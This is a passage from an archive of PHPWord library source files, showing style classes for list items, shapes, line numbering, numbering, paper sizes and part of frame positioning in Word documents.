        $this->borderColor = $value;
    }

    /**
     * Get border color.
     */
    public function getBorderColor(): ?string
    {
        return $this->borderColor;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/ListItem.php000066600000024014151150442730017213 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\Style;

/**
 * List item style.
 *
 * Before version 0.10.0, numbering style is defined statically with $listType.
 * After version 0.10.0, numbering style is defined by using Numbering and
 * recorded by $numStyle. $listStyle is maintained for backward compatility
 */
class ListItem extends AbstractStyle
{
    const TYPE_SQUARE_FILLED = 1;
    const TYPE_BULLET_FILLED = 3; // default
    const TYPE_BULLET_EMPTY = 5;
    const TYPE_NUMBER = 7;
    const TYPE_NUMBER_NESTED = 8;
    const TYPE_ALPHANUM = 9;

    /**
     * Legacy list type.
     *
     * @var int
     */
    private $listType;

    /**
     * Numbering style name.
     *
     * @var string
     *
     * @since 0.10.0
     */
    private $numStyle;

    /**
     * Numbering definition instance ID.
     *
     * @var int
     *
     * @since 0.10.0
     */
    private $numId;

    /**
     * Create new instance.
     *
     * @param string $numStyle
     */
    public function __construct($numStyle = null)
    {
        if ($numStyle !== null) {
            $this->setNumStyle($numStyle);
        } else {
            $this->setListType();
        }
    }

    /**
     * Get List Type.
     *
     * @return int
     */
    public function getListType()
    {
        return $this->listType;
    }

    /**
     * Set legacy list type for version < 0.10.0.
     *
     * @param int $value
     *
     * @return self
     */
    public function setListType($value = self::TYPE_BULLET_FILLED)
    {
        $enum = [
            self::TYPE_SQUARE_FILLED, self::TYPE_BULLET_FILLED,
            self::TYPE_BULLET_EMPTY, self::TYPE_NUMBER,
            self::TYPE_NUMBER_NESTED, self::TYPE_ALPHANUM,
        ];
        $this->listType = $this->setEnumVal($value, $enum, $this->listType);
        $this->getListTypeStyle();

        return $this;
    }

    /**
     * Get numbering style name.
     *
     * @return string
     */
    public function getNumStyle()
    {
        return $this->numStyle;
    }

    /**
     * Set numbering style name.
     *
     * @param string $value
     *
     * @return self
     */
    public function setNumStyle($value)
    {
        $this->numStyle = $value;
        $numStyleObject = Style::getStyle($this->numStyle);
        if ($numStyleObject instanceof Numbering) {
            $this->numId = $numStyleObject->getIndex();
            $numStyleObject->setNumId($this->numId);
        }

        return $this;
    }

    /**
     * Get numbering Id.
     *
     * @return int
     */
    public function getNumId()
    {
        return $this->numId;
    }

    /**
     * Set numbering Id. Same numId means same list.
     *
     * @param mixed $numInt
     */
    public function setNumId($numInt): void
    {
        $this->numId = $numInt;
        $this->getListTypeStyle();
    }

    /**
     * Get legacy numbering definition.
     *
     * @return array
     *
     * @since 0.10.0
     */
    private function getListTypeStyle()
    {
        // Check if legacy style already registered in global Style collection
        $numStyle = 'PHPWordListType' . $this->listType;

        if ($this->numId) {
            $numStyle .= 'NumId' . $this->numId;
        }

        if (Style::getStyle($numStyle) !== null) {
            $this->setNumStyle($numStyle);

            return;
        }

        // Property mapping for numbering level information
        $properties = ['start', 'format', 'text', 'alignment', 'tabPos', 'left', 'hanging', 'font', 'hint'];

        // Legacy level information
        $listTypeStyles = [
            self::TYPE_SQUARE_FILLED => [
                'type' => 'hybridMultilevel',
                'levels' => [
                    0 => '1, bullet, , left, 720, 720, 360, Wingdings, default',
                    1 => '1, bullet, o, left, 1440, 1440, 360, Courier New, default',
                    2 => '1, bullet, , left, 2160, 2160, 360, Wingdings, default',
                    3 => '1, bullet, , left, 2880, 2880, 360, Symbol, default',
                    4 => '1, bullet, o, left, 3600, 3600, 360, Courier New, default',
                    5 => '1, bullet, , left, 4320, 4320, 360, Wingdings, default',
                    6 => '1, bullet, , left, 5040, 5040, 360, Symbol, default',
                    7 => '1, bullet, o, left, 5760, 5760, 360, Courier New, default',
                    8 => '1, bullet, , left, 6480, 6480, 360, Wingdings, default',
                ],
            ],
            self::TYPE_BULLET_FILLED => [
                'type' => 'hybridMultilevel',
                'levels' => [
                    0 => '1, bullet, , left, 720, 720, 360, Symbol, default',
                    1 => '1, bullet, o, left, 1440, 1440, 360, Courier New, default',
                    2 => '1, bullet, , left, 2160, 2160, 360, Wingdings, default',
                    3 => '1, bullet, , left, 2880, 2880, 360, Symbol, default',
                    4 => '1, bullet, o, left, 3600, 3600, 360, Courier New, default',
                    5 => '1, bullet, , left, 4320, 4320, 360, Wingdings, default',
                    6 => '1, bullet, , left, 5040, 5040, 360, Symbol, default',
                    7 => '1, bullet, o, left, 5760, 5760, 360, Courier New, default',
                    8 => '1, bullet, , left, 6480, 6480, 360, Wingdings, default',
                ],
            ],
            self::TYPE_BULLET_EMPTY => [
                'type' => 'hybridMultilevel',
                'levels' => [
                    0 => '1, bullet, o, left, 720, 720, 360, Courier New, default',
                    1 => '1, bullet, o, left, 1440, 1440, 360, Courier New, default',
                    2 => '1, bullet, , left, 2160, 2160, 360, Wingdings, default',
                    3 => '1, bullet, , left, 2880, 2880, 360, Symbol, default',
                    4 => '1, bullet, o, left, 3600, 3600, 360, Courier New, default',
                    5 => '1, bullet, , left, 4320, 4320, 360, Wingdings, default',
                    6 => '1, bullet, , left, 5040, 5040, 360, Symbol, default',
                    7 => '1, bullet, o, left, 5760, 5760, 360, Courier New, default',
                    8 => '1, bullet, , left, 6480, 6480, 360, Wingdings, default',
                ],
            ],
            self::TYPE_NUMBER => [
                'type' => 'hybridMultilevel',
                'levels' => [
                    0 => '1, decimal, %1., left, 720, 720, 360, , default',
                    1 => '1, bullet, o, left, 1440, 1440, 360, Courier New, default',
                    2 => '1, bullet, , left, 2160, 2160, 360, Wingdings, default',
                    3 => '1, bullet, , left, 2880, 2880, 360, Symbol, default',
                    4 => '1, bullet, o, left, 3600, 3600, 360, Courier New, default',
                    5 => '1, bullet, , left, 4320, 4320, 360, Wingdings, default',
                    6 => '1, bullet, , left, 5040, 5040, 360, Symbol, default',
                    7 => '1, bullet, o, left, 5760, 5760, 360, Courier New, default',
                    8 => '1, bullet, , left, 6480, 6480, 360, Wingdings, default',
                ],
            ],
            self::TYPE_NUMBER_NESTED => [
                'type' => 'multilevel',
                'levels' => [
                    0 => '1, decimal, %1., left, 360, 360, 360, , ',
                    1 => '1, decimal, %1.%2., left, 792, 792, 432, , ',
                    2 => '1, decimal, %1.%2.%3., left, 1224, 1224, 504, , ',
                    3 => '1, decimal, %1.%2.%3.%4., left, 1800, 1728, 648, , ',
                    4 => '1, decimal, %1.%2.%3.%4.%5., left, 2520, 2232, 792, , ',
                    5 => '1, decimal, %1.%2.%3.%4.%5.%6., left, 2880, 2736, 936, , ',
                    6 => '1, decimal, %1.%2.%3.%4.%5.%6.%7., left, 3600, 3240, 1080, , ',
                    7 => '1, decimal, %1.%2.%3.%4.%5.%6.%7.%8., left, 3960, 3744, 1224, , ',
                    8 => '1, decimal, %1.%2.%3.%4.%5.%6.%7.%8.%9., left, 4680, 4320, 1440, , ',
                ],
            ],
            self::TYPE_ALPHANUM => [
                'type' => 'multilevel',
                'levels' => [
                    0 => '1, decimal, %1., left, 720, 720, 360, , ',
                    1 => '1, lowerLetter, %2., left, 1440, 1440, 360, , ',
                    2 => '1, lowerRoman, %3., right, 2160, 2160, 180, , ',
                    3 => '1, decimal, %4., left, 2880, 2880, 360, , ',
                    4 => '1, lowerLetter, %5., left, 3600, 3600, 360, , ',
                    5 => '1, lowerRoman, %6., right, 4320, 4320, 180, , ',
                    6 => '1, decimal, %7., left, 5040, 5040, 360, , ',
                    7 => '1, lowerLetter, %8., left, 5760, 5760, 360, , ',
                    8 => '1, lowerRoman, %9., right, 6480, 6480, 180, , ',
                ],
            ],
        ];

        // Populate style and register to global Style register
        $style = $listTypeStyles[$this->listType];
        $numProperties = count($properties);
        foreach ($style['levels'] as $key => $value) {
            $level = [];
            $levelProperties = explode(', ', $value);
            $level['level'] = $key;
            for ($i = 0; $i < $numProperties; ++$i) {
                $property = $properties[$i];
                $level[$property] = $levelProperties[$i];
            }
            $style['levels'][$key] = $level;
        }
        Style::addNumberingStyle($numStyle, $style);
        $this->setNumStyle($numStyle);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Shape.php000066600000011372151150442730016524 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Shape style.
 *
 * @since 0.12.0
 *
 * @todo Skew http://www.schemacentral.com/sc/ooxml/t-o_CT_Skew.html
 */
class Shape extends AbstractStyle
{
    /**
     * Points.
     *
     * - Arc: startAngle endAngle; 0 = top center, moving clockwise
     * - Curve: from-x1,from-y1 to-x2,to-y2 control1-x,control1-y control2-x,control2-y
     * - Line: from-x1,from-y1 to-x2,to-y2
     * - Polyline: x1,y1 x2,y2 ...
     * - Rect and oval: Not applicable
     *
     * @var string
     */
    private $points;

    /**
     * Roundness measure of corners; 0 = straightest (rectangular); 1 = roundest (circle/oval).
     *
     * Only for rect
     *
     * @var float|int
     */
    private $roundness;

    /**
     * Frame.
     *
     * @var \PhpOffice\PhpWord\Style\Frame
     */
    private $frame;

    /**
     * Fill.
     *
     * @var \PhpOffice\PhpWord\Style\Fill
     */
    private $fill;

    /**
     * Outline.
     *
     * @var \PhpOffice\PhpWord\Style\Outline
     */
    private $outline;

    /**
     * Shadow.
     *
     * @var \PhpOffice\PhpWord\Style\Shadow
     */
    private $shadow;

    /**
     * 3D extrusion.
     *
     * @var \PhpOffice\PhpWord\Style\Extrusion
     */
    private $extrusion;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get points.
     *
     * @return string
     */
    public function getPoints()
    {
        return $this->points;
    }

    /**
     * Set points.
     *
     * @param string $value
     *
     * @return self
     */
    public function setPoints($value = null)
    {
        $this->points = $value;

        return $this;
    }

    /**
     * Get roundness.
     *
     * @return float|int
     */
    public function getRoundness()
    {
        return $this->roundness;
    }

    /**
     * Set roundness.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setRoundness($value = null)
    {
        $this->roundness = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get frame.
     *
     * @return \PhpOffice\PhpWord\Style\Frame
     */
    public function getFrame()
    {
        return $this->frame;
    }

    /**
     * Set frame.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setFrame($value = null)
    {
        $this->setObjectVal($value, 'Frame', $this->frame);

        return $this;
    }

    /**
     * Get fill.
     *
     * @return \PhpOffice\PhpWord\Style\Fill
     */
    public function getFill()
    {
        return $this->fill;
    }

    /**
     * Set fill.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setFill($value = null)
    {
        $this->setObjectVal($value, 'Fill', $this->fill);

        return $this;
    }

    /**
     * Get outline.
     *
     * @return \PhpOffice\PhpWord\Style\Outline
     */
    public function getOutline()
    {
        return $this->outline;
    }

    /**
     * Set outline.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setOutline($value = null)
    {
        $this->setObjectVal($value, 'Outline', $this->outline);

        return $this;
    }

    /**
     * Get shadow.
     *
     * @return \PhpOffice\PhpWord\Style\Shadow
     */
    public function getShadow()
    {
        return $this->shadow;
    }

    /**
     * Set shadow.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setShadow($value = null)
    {
        $this->setObjectVal($value, 'Shadow', $this->shadow);

        return $this;
    }

    /**
     * Get 3D extrusion.
     *
     * @return \PhpOffice\PhpWord\Style\Extrusion
     */
    public function getExtrusion()
    {
        return $this->extrusion;
    }

    /**
     * Set 3D extrusion.
     *
     * @param mixed $value
     *
     * @return self
     */
    public function setExtrusion($value = null)
    {
        $this->setObjectVal($value, 'Extrusion', $this->extrusion);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/LineNumbering.php000066600000006661151150442730020227 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Line numbering style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/t-w_CT_LineNumber.html
 * @since 0.10.0
 */
class LineNumbering extends AbstractStyle
{
    /** @const string Line numbering restart setting http://www.schemacentral.com/sc/ooxml/a-w_restart-1.html */
    const LINE_NUMBERING_CONTINUOUS = 'continuous';
    const LINE_NUMBERING_NEW_PAGE = 'newPage';
    const LINE_NUMBERING_NEW_SECTION = 'newSection';

    /**
     * Line numbering starting value.
     *
     * @var int
     */
    private $start = 1;

    /**
     * Line number increments.
     *
     * @var int
     */
    private $increment = 1;

    /**
     * Distance between text and line numbering in twip.
     *
     * @var float|int
     */
    private $distance;

    /**
     * Line numbering restart setting continuous|newPage|newSection.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/a-w_restart-1.html
     */
    private $restart;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * Get start.
     *
     * @return int
     */
    public function getStart()
    {
        return $this->start;
    }

    /**
     * Set start.
     *
     * @param int $value
     *
     * @return self
     */
    public function setStart($value = null)
    {
        $this->start = $this->setIntVal($value, $this->start);

        return $this;
    }

    /**
     * Get increment.
     *
     * @return int
     */
    public function getIncrement()
    {
        return $this->increment;
    }

    /**
     * Set increment.
     *
     * @param int $value
     *
     * @return self
     */
    public function setIncrement($value = null)
    {
        $this->increment = $this->setIntVal($value, $this->increment);

        return $this;
    }

    /**
     * Get distance.
     *
     * @return float|int
     */
    public function getDistance()
    {
        return $this->distance;
    }

    /**
     * Set distance.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setDistance($value = null)
    {
        $this->distance = $this->setNumericVal($value, $this->distance);

        return $this;
    }

    /**
     * Get restart.
     *
     * @return string
     */
    public function getRestart()
    {
        return $this->restart;
    }

    /**
     * Set distance.
     *
     * @param string $value
     *
     * @return self
     */
    public function setRestart($value = null)
    {
        $enum = [self::LINE_NUMBERING_CONTINUOUS, self::LINE_NUMBERING_NEW_PAGE, self::LINE_NUMBERING_NEW_SECTION];
        $this->restart = $this->setEnumVal($value, $enum, $this->restart);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Numbering.php000066600000005631151150442730017413 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Numbering style.
 *
 * @see  http://www.schemacentral.com/sc/ooxml/e-w_numbering.html
 * @see  http://www.schemacentral.com/sc/ooxml/e-w_abstractNum-1.html
 * @see  http://www.schemacentral.com/sc/ooxml/e-w_num-1.html
 * @since 0.10.0
 */
class Numbering extends AbstractStyle
{
    /**
     * Numbering definition instance ID.
     *
     * @var int
     *
     * @see  http://www.schemacentral.com/sc/ooxml/e-w_num-1.html
     */
    private $numId;

    /**
     * Multilevel type singleLevel|multilevel|hybridMultilevel.
     *
     * @var string
     *
     * @see  http://www.schemacentral.com/sc/ooxml/a-w_val-67.html
     */
    private $type;

    /**
     * Numbering levels.
     *
     * @var NumberingLevel[]
     */
    private $levels = [];

    /**
     * Get Id.
     *
     * @return int
     */
    public function getNumId()
    {
        return $this->numId;
    }

    /**
     * Set Id.
     *
     * @param int $value
     *
     * @return self
     */
    public function setNumId($value)
    {
        $this->numId = $this->setIntVal($value, $this->numId);

        return $this;
    }

    /**
     * Get multilevel type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set multilevel type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value)
    {
        $enum = ['singleLevel', 'multilevel', 'hybridMultilevel'];
        $this->type = $this->setEnumVal($value, $enum, $this->type);

        return $this;
    }

    /**
     * Get levels.
     *
     * @return NumberingLevel[]
     */
    public function getLevels()
    {
        return $this->levels;
    }

    /**
     * Set multilevel type.
     *
     * @param array $values
     *
     * @return self
     */
    public function setLevels($values)
    {
        if (is_array($values)) {
            foreach ($values as $key => $value) {
                $numberingLevel = new NumberingLevel();
                if (is_array($value)) {
                    $numberingLevel->setStyleByArray($value);
                    $numberingLevel->setLevel($key);
                }
                $this->levels[$key] = $numberingLevel;
            }
        }

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Paper.php000066600000012516151150442730016534 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\Shared\Converter;

/**
 * Paper size from ISO/IEC 29500-1:2012 pg. 1656-1657.
 *
 * 1 = Letter paper (8.5 in. by 11 in.)
 * 2 = Letter small paper (8.5 in. by 11 in.)
 * 3 = Tabloid paper (11 in. by 17 in.)
 * 4 = Ledger paper (17 in. by 11 in.)
 * 5 = Legal paper (8.5 in. by 14 in.)
 * 6 = Statement paper (5.5 in. by 8.5 in.)
 * 7 = Executive paper (7.25 in. by 10.5 in.)
 * 8 = A3 paper (297 mm by 420 mm)
 * 9 = A4 paper (210 mm by 297 mm)
 * 10 = A4 small paper (210 mm by 297 mm)
 * 11 = A5 paper (148 mm by 210 mm)
 * 12 = B4 paper (250 mm by 353 mm)
 * 13 = B5 paper (176 mm by 250 mm)
 * 14 = Folio paper (8.5 in. by 13 in.)
 * 15 = Quarto paper (215 mm by 275 mm)
 * 16 = Standard paper (10 in. by 14 in.)
 * 17 = Standard paper (11 in. by 17 in.)
 * 18 = Note paper (8.5 in. by 11 in.)
 * 19 = #9 envelope (3.875 in. by 8.875 in.)
 * 20 = #10 envelope (4.125 in. by 9.5 in.)
 * 21 = #11 envelope (4.5 in. by 10.375 in.)
 * 22 = #12 envelope (4.75 in. by 11 in.)
 * 23 = #14 envelope (5 in. by 11.5 in.)
 * 24 = C paper (17 in. by 22 in.)
 * 25 = D paper (22 in. by 34 in.)
 * 26 = E paper (34 in. by 44 in.)
 * 27 = DL envelope (110 mm by 220 mm)
 * 28 = C5 envelope (162 mm by 229 mm)
 * 29 = C3 envelope (324 mm by 458 mm)
 * 30 = C4 envelope (229 mm by 324 mm)
 * 31 = C6 envelope (114 mm by 162 mm)
 * 32 = C65 envelope (114 mm by 229 mm)
 * 33 = B4 envelope (250 mm by 353 mm)
 * 34 = B5 envelope (176 mm by 250 mm)
 * 35 = B6 envelope (176 mm by 125 mm)
 * 36 = Italy envelope (110 mm by 230 mm)
 * 37 = Monarch envelope (3.875 in. by 7.5 in.).
 * 38 = 6 3/4 envelope (3.625 in. by 6.5 in.)
 * 39 = US standard fanfold (14.875 in. by 11 in.)
 * 40 = German standard fanfold (8.5 in. by 12 in.)
 * 41 = German legal fanfold (8.5 in. by 13 in.)
 * 42 = ISO B4 (250 mm by 353 mm)
 * 43 = Japanese double postcard (200 mm by 148 mm)
 * 44 = Standard paper (9 in. by 11 in.)
 * 45 = Standard paper (10 in. by 11 in.)
 * 46 = Standard paper (15 in. by 11 in.)
 * 47 = Invite envelope (220 mm by 220 mm)
 * 50 = Letter extra paper (9.275 in. by 12 in.)
 * 51 = Legal extra paper (9.275 in. by 15 in.)
 * 52 = Tabloid extra paper (11.69 in. by 18 in.)
 * 53 = A4 extra paper (236 mm by 322 mm)
 * 54 = Letter transverse paper (8.275 in. by 11 in.)
 * 55 = A4 transverse paper (210 mm by 297 mm)
 * 56 = Letter extra transverse paper (9.275 in. by 12 in.)
 * 57 = SuperA/SuperA/A4 paper (227 mm by 356 mm)
 * 58 = SuperB/SuperB/A3 paper (305 mm by 487 mm)
 * 59 = Letter plus paper (8.5 in. by 12.69 in.)
 * 60 = A4 plus paper (210 mm by 330 mm)
 * 61 = A5 transverse paper (148 mm by 210 mm)
 * 62 = JIS B5 transverse paper (182 mm by 257 mm)
 * 63 = A3 extra paper (322 mm by 445 mm)
 * 64 = A5 extra paper (174 mm by 235 mm)
 * 65 = ISO B5 extra paper (201 mm by 276 mm)
 * 66 = A2 paper (420 mm by 594 mm)
 * 67 = A3 transverse paper (297 mm by 420 mm)
 * 68 = A3 extra transverse paper (322 mm by 445 mm)
 *
 * @since 0.12.0
 */
class Paper extends AbstractStyle
{
    /**
     * Paper sizes.
     *
     * @var array
     */
    private $sizes = [
        'A3' => [297, 420, 'mm'],
        'A4' => [210, 297, 'mm'],
        'A5' => [148, 210, 'mm'],
        'B5' => [176, 250, 'mm'],
        'Folio' => [8.5, 13, 'in'],
        'Legal' => [8.5, 14, 'in'],
        'Letter' => [8.5, 11, 'in'],
    ];

    /**
     * Paper size.
     *
     * @var string
     */
    private $size = 'A4';

    /**
     * Width.
     *
     * @var float (twip)
     */
    private $width;

    /**
     * Height.
     *
     * @var float (twip)
     */
    private $height;

    /**
     * Create a new instance.
     *
     * @param string $size
     */
    public function __construct($size = 'A4')
    {
        $this->setSize($size);
    }

    /**
     * Get size.
     *
     * @return string
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * Set size.
     *
     * @param string $size
     *
     * @return self
     */
    public function setSize($size)
    {
        $this->size = $this->setEnumVal($size, array_keys($this->sizes), $this->size);

        [$width, $height, $unit] = $this->sizes[$this->size];

        if ($unit == 'mm') {
            $this->width = Converter::cmToTwip($width / 10);
            $this->height = Converter::cmToTwip($height / 10);
        } else {
            $this->width = Converter::inchToTwip($width);
            $this->height = Converter::inchToTwip($height);
        }

        return $this;
    }

    /**
     * Get width.
     *
     * @return float
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Get height.
     *
     * @return float
     */
    public function getHeight()
    {
        return $this->height;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Frame.php000066600000031146151150442730016517 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

use PhpOffice\PhpWord\SimpleType\Jc;

/**
 * Frame defines the size and position of an object.
 *
 * Width, height, left/hpos, top/vpos, hrel, vrel, wrap, zindex
 *
 * @since 0.12.0
 *
 * @todo Make existing style (image, textbox, etc) use this style
 */
class Frame extends AbstractStyle
{
    /**
     * Length unit.
     *
     * @const string
     */
    const UNIT_PT = 'pt'; // Mostly for shapes
    const UNIT_PX = 'px'; // Mostly for images

    /**
     * General positioning options.
     *
     * @const string
     */
    const POS_ABSOLUTE = 'absolute';
    const POS_RELATIVE = 'relative';

    /**
     * Horizontal/vertical value.
     *
     * @const string
     */
    const POS_CENTER = 'center';
    const POS_LEFT = 'left';
    const POS_RIGHT = 'right';
    const POS_TOP = 'top';
    const POS_BOTTOM = 'bottom';
    const POS_INSIDE = 'inside';
    const POS_OUTSIDE = 'outside';

    /**
     * Position relative to.
     *
     * @const string
     */
    const POS_RELTO_MARGIN = 'margin';
    const POS_RELTO_PAGE = 'page';
    const POS_RELTO_COLUMN = 'column'; // horizontal only
    const POS_RELTO_CHAR = 'char'; // horizontal only
    const POS_RELTO_TEXT = 'text'; // vertical only
    const POS_RELTO_LINE = 'line'; // vertical only
    const POS_RELTO_LMARGIN = 'left-margin-area'; // horizontal only
    const POS_RELTO_RMARGIN = 'right-margin-area'; // horizontal only
    const POS_RELTO_TMARGIN = 'top-margin-area'; // vertical only
    const POS_RELTO_BMARGIN = 'bottom-margin-area'; // vertical only
    const POS_RELTO_IMARGIN = 'inner-margin-area';
    const POS_RELTO_OMARGIN = 'outer-margin-area';

    /**
     * Wrap type.
     *
     * @const string
     */
    const WRAP_INLINE = 'inline';
    const WRAP_SQUARE = 'square';
    const WRAP_TIGHT = 'tight';
    const WRAP_THROUGH = 'through';
    const WRAP_TOPBOTTOM = 'topAndBottom';
    const WRAP_BEHIND = 'behind';
    const WRAP_INFRONT = 'infront';

    /**
     * @var string
     */
    private $alignment = '';

    /**
     * Unit.
     *
     * @var string
     */
    private $unit = 'pt';

    /**
     * Width.
     *
     * @var float|int
     */
    private $width;

    /**
     * Height.
     *
     * @var float|int
     */
    private $height;

    /**
     * Leftmost (horizontal) position.
     *
     * @var float|int
     */
    private $left = 0;

    /**
     * Topmost (vertical) position.
     *
     * @var float|int
     */
    private $top = 0;

    /**
     * Position type: absolute|relative.
     *
     * @var string
     */
    private $pos;

    /**
     * Horizontal position.
     *
     * @var string
     */
    private $hPos;

    /**
     * Horizontal position relative to.
     *
     * @var string
     */
    private $hPosRelTo;

    /**
     * Vertical position.
     *
     * @var string
     */
    private $vPos;

    /**
     * Vertical position relative to.
     *
     * @var string
     */
    private $vPosRelTo;

    /**
     * Wrap type.
     *
     * @var string
     */
    private $wrap;

    /**
     * Top wrap distance.
     *
     * @var float
     */
    private $wrapDistanceTop;

    /**
     * Bottom wrap distance.
     *
     * @var float
     */
    private $wrapDistanceBottom;

    /**
     * Left wrap distance.
     *
     * @var float
     */
    private $wrapDistanceLeft;

    /**
     * Right wrap distance.
     *
     * @var float
     */
    private $wrapDistanceRight;

    /**
     * Vertically raised or lowered text.
     *
     * @var int
     *
     * @see http://www.datypic.com/sc/ooxml/e-w_position-1.html
     */
    private $position;

    /**
     * Create a new instance.
     *
     * @param array $style
     */
    public function __construct($style = [])
    {
        $this->setStyleByArray($style);
    }

    /**
     * @since 0.13.0
     *
     * @return string
     */
    public function getAlignment()
    {
        return $this->alignment;
    }

    /**
     * @since 0.13.0
     *
     * @param string $value
     *
     * @return self
     */
    public function setAlignment($value)
    {
        if (Jc::isValid($value)) {
            $this->alignment = $value;
        }

        return $this;
    }

    /**
     * Get unit.
     *
     * @return string
     */
    public function getUnit()
    {
        return $this->unit;
    }

    /**
     * Set unit.
     *
     * @param string $value
     *
     * @return self
     */
    public function setUnit($value)
    {
        $this->unit = $value;

        return $this;
    }

    /**
     * Get width.
     *
     * @return float|int
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Set width.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setWidth($value = null)
    {
        $this->width = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get height.
     *
     * @return float|int
     */
    public function getHeight()
    {
        return $this->height;
    }

    /**
     * Set height.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setHeight($value = null)
    {
        $this->height = $this->setNumericVal($value, null);

        return $this;
    }

    /**
     * Get left.
     *
     * @return float|int
     */
    public function getLeft()
    {
        return $this->left;
    }

    /**
     * Set left.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setLeft($value = 0)
    {
        $this->left = $this->setNumericVal($value, 0);

        return $this;
    }

    /**
     * Get topmost position.
     *
     * @return float|int
     */
    public function getTop()
    {
        return $this->top;
    }

    /**
     * Set topmost position.
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setTop($value = 0)
    {
        $this->top = $this->setNumericVal($value, 0);

        return $this;
    }

    /**
     * Get position type.
     *
     * @return string
     */
    public function getPos()
    {
        return $this->pos;
    }

    /**
     * Set position type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setPos($value)
    {
        $enum = [
            self::POS_ABSOLUTE,
            self::POS_RELATIVE,
        ];
        $this->pos = $this->setEnumVal($value, $enum, $this->pos);

        return $this;
    }

    /**
     * Get horizontal position.
     *
     * @return string
     */
    public function getHPos()
    {
        return $this->hPos;
    }

    /**
     * Set horizontal position.
     *
     * @since 0.12.0 "absolute" option is available.
     *
     * @param string $value
     *
     * @return self
     */
    public function setHPos($value)
    {
        $enum = [
            self::POS_ABSOLUTE,
            self::POS_LEFT,
            self::POS_CENTER,
            self::POS_RIGHT,
            self::POS_INSIDE,
            self::POS_OUTSIDE,
        ];
        $this->hPos = $this->setEnumVal($value, $enum, $this->hPos);

        return $this;
    }

    /**
     * Get vertical position.
     *
     * @return string
     */
    public function getVPos()
